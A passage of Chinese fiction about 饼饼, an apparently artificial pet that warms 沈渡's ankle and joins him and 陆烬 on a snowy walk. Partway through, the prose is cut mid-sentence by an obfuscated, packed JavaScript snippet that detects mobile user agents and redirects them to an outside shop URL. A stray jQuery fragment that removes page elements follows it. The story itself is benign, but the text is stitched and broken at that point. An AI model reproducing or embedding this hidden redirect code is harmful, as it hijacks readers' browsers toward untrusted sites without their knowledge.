饼饼知道冬天来了，因为沈渡的脚变凉了。
具体来说，每天早上沈渡从卧室出来的时候，饼饼会蹲在门口等他。他一开门带出来的那股气流里裹着被窝里的余温，但沈渡的双脚踩在木地板上的那一刻，饼饼能通过地板传递的振动感知到他的体温——比夏天的早晨低了大约一度多。饼饼不知道人类的脚掌在冬天应该有多暖才算正常，但它知道沈渡的脚比陆烬的凉。
于是饼饼做了一件它自己也不太清楚动机的事：它开始每天早上蹲在沈渡的拖鞋旁边，等他把脚伸进去之后，它就趴在拖鞋后跟的位置，用自己身体的温度替他捂那一小块露出来的脚踝。
沈渡第一天发现的时候低头看了它一眼，没有说话。第二天他穿鞋的动作比之前慢了一些，好让饼饼有足够的时间调整位置。第三天他弯下腰用手指蹭了一下饼饼的耳朵，然后站起来去厨房倒水。饼饼留在原地，耳朵还残留着被碰过之后的温热触感。
这天早上的光比前几天亮一些。饼饼从窗台上看到外面有一层薄薄的白色覆盖在街道和屋顶上——那是它第一次以实体形式看到雪，但它的反应比预计平静，只是蹲在窗台上多看了几秒，耳朵朝前转着，然后跳下来，踩着碎步走到卧室门口蹲好。
沈渡出来的时候和往常一样穿着那件浅灰色的家居裤。饼饼蹲在拖鞋旁边仰头看他。沈渡低头看了它一眼——他的视线在它脸上停了一下——然后弯腰把它捞起来，放进了自己外套内侧的袋子里。那个袋子的位置靠近他的胸口。饼饼蜷在里面，能感觉到他心跳的节奏和体温的起伏，能从布料缝隙里看到外面的世界在移动，像隔着一层半透明的薄墙。
陆烬已经在厨房了。
锅里的水正在烧，蒸汽在玻璃窗上凝成一层白雾。他穿着一件深灰色的毛衣，袖口卷到小臂中段，正在往一只碗里打鸡蛋。沈渡走进去的时候他的手腕没有停，但偏了一下头看了他一眼——准确地说，是看了一眼他外套口袋里露出来的那截金色尾巴尖。
沈渡从口袋里把饼饼掏出来放在地上。饼饼蹲在厨房地板上仰头看着他们两个人——沈渡靠着橱柜站着，手里捧着一杯温水；陆烬把打好的蛋液倒进热油里，发出滋啦一声响。室内温度在攀升，厨房窗户上的雾气更浓了，外面的景色被模糊成一大片柔和的白色。
“今天雪停吗？”沈渡问。
陆烬侧过头往窗外看了一眼。“预报说下午停。”
“那下午出去走走。”
陆烬把锅里的蛋翻了一面，没有回“好”或“不好”。但饼饼注意到他翻蛋的手腕动作比之前快了一些——那种细微的、只有长期观察才能捕捉到的节奏变化——它的尾巴在地板上扫了两下。
吃早饭的时候饼饼分到了半颗煮熟的蛋黄。它把蛋黄叼到餐桌底下慢慢吃完，然后把脑袋搁在沈渡的拖鞋上。它感觉到沈渡的脚踝被自己的体温捂热了一些，但没有完全热透。它在心里估算了一下还需要多久才能让那一小片皮肤的温差归零，计算结果是大约两小时。它打算趴在拖鞋上不动，直到完成这个目标。
沈渡吃完饭后没有立刻站起来。他靠着椅背端着那杯已经凉了的水，看着窗外。陆烬在旁边翻一本杂志，翻得很慢。饼饼趴在他们脚边，尾巴尖偶尔扫一下陆烬的鞋面。窗外的雪还在下，是一层细密均匀的白，落在窗台上，被室内的温度融化成一排细小的水珠。
大约过了十几分钟，沈渡把杯子放下，站起来走向客厅。饼饼没有跟上去，留在原地继续看着窗台上的雪。它看到陆烬也站了起来，经过餐桌旁边时伸手把沈渡落在那里的空杯子端起来，放进了水槽里。
下午雪果然停了。
沈渡换了一件厚外套，蹲在玄关系鞋带的时候饼饼小跑过来绕着他的脚踝转了半圈。沈渡低头看它：“你也去？”
饼饼停下来，蹲坐好，尾巴在身后合拢。
沈渡没有说“好”，但他站起来的时候顺手拉开了外套拉链，拍了拍靠近胸口的位置。饼饼跳进去，缩成一团，只把耳朵和尾巴尖露在外面。拉链拉到了它的下巴位置，留出一条刚好够它呼吸的缝隙。
门推开的时候外面很安静。整个世界被雪覆盖了一层，所有的声音都像是被某种柔软的棉质材料包裹过一样——脚步声被压低了，远处的车声变得模糊，连风穿过树枝的声音都变成了闷闷的、低频的呜咽。沈渡踩进雪地里，脚下的雪发出咯吱咯吱的细碎声响。他走了几步，停下来，低头看着自己在雪地上踩出来的那串脚印。
陆烬跟在他后面，踩进他的脚印里。一步一个，踩得很准。
饼饼从外套的拉链缝里探出半张脸，看到一片雪白的、前所未见的开阔世界。它感觉到沈渡的心跳在行走中比平时快了一些，但不是紧张那种快，更像一种缓慢的、被冷空气激发的活跃。陆烬走在沈渡身后半步的位置，他的步伐和沈渡的步伐在雪地上形成两排交叠的足迹——一排新踩的，一排覆在它上面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909751|213090||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
他们走了大概二十分钟。在路边一棵落光了叶子的树下停下来时沈渡弯下腰，从地上团了一小把雪，握在掌心里捏了一下。雪在他的手心里被温度压成半透明的冰片，边缘渗出水珠。他低头看了一会儿，然后松手把它放回地面上。饼饼从外套里探出头来，鼻尖碰到了一粒落在外套表面上的雪花，凉意沿着它的鼻尖渗进去，它打了个小小的喷嚏。
陆烬走过来，伸手把它露出外套的半张脸往拉链里面轻轻按了按。“别探头出来。”
饼饼没有反抗，也没有缩回去。它的鼻尖抵着陆烬的指腹，凉意和体温在那片接触面上交汇了一下，然后陆烬收回手，重新把手插回口袋里。
雪地里的光线正在变软。午后的太阳从云层缝隙里透出来，把整片白色的地面镀上一层柔和的淡金色。沈渡转身往回走，陆烬跟在他旁边，这一次他们没有一前一后，而是并排。两条交叠的脚印在雪地上延伸出去，变成两排平行的轨迹，间距恒定。
饼饼缩在外套里，感觉到沈渡的体温和外面的冷空气之间隔着一层厚实的布料。它的鼻尖还残留着陆烬指腹碰过的温度，和雪花的凉意混在一起，形成一种它暂时无法分类的感觉信号。它把鼻尖埋进了沈渡的胸口位置，缩成最小的体积，两只后爪搭在拉链内层，尾巴尖蜷在沈渡的腰侧。
回程的路上他们经过一家亮着暖黄色灯光的面包店。沈渡停了一步，从口袋里掏了几枚硬币，换了一个纸袋装着的热面包出来。纸袋很烫，他两只手倒换了几下才拿稳。陆烬在他旁边走的时候看了一眼那个纸袋，没有问，但走了几步之后他换到了沈渡的外侧，替他挡住了那一段灌风口的风。
到家的时候沈渡的鼻尖也被冻红了。他站在玄关弯腰换鞋，饼饼从他外套里跳出来，落在温暖的地板上，打了个滚。它看到沈渡把那个面包纸袋搁在餐桌上，陆烬正在厨房里烧水。窗外的光正在从淡金色过渡到浅灰，暮色从远处开始慢慢覆盖下来。
饼饼蹲在餐桌旁边，看着那个纸袋里透出的丝丝热气。又偏过头看了一眼厨房——陆烬正背对着它，把水壶的开关按下去，沈渡在他旁边的橱柜边靠着，手里握着那个纸袋，在低头拆纸袋封口。
它趴下来，把下巴搁在自己的前爪上，尾巴在身后慢悠悠地扫着。地板很暖，屋里有淡淡的面包香气，窗外的雪在傍晚的光线里显出几近透明的质地。它不打算再计算任何东西了，反正已经有一只脚在拖鞋上趴了很久了。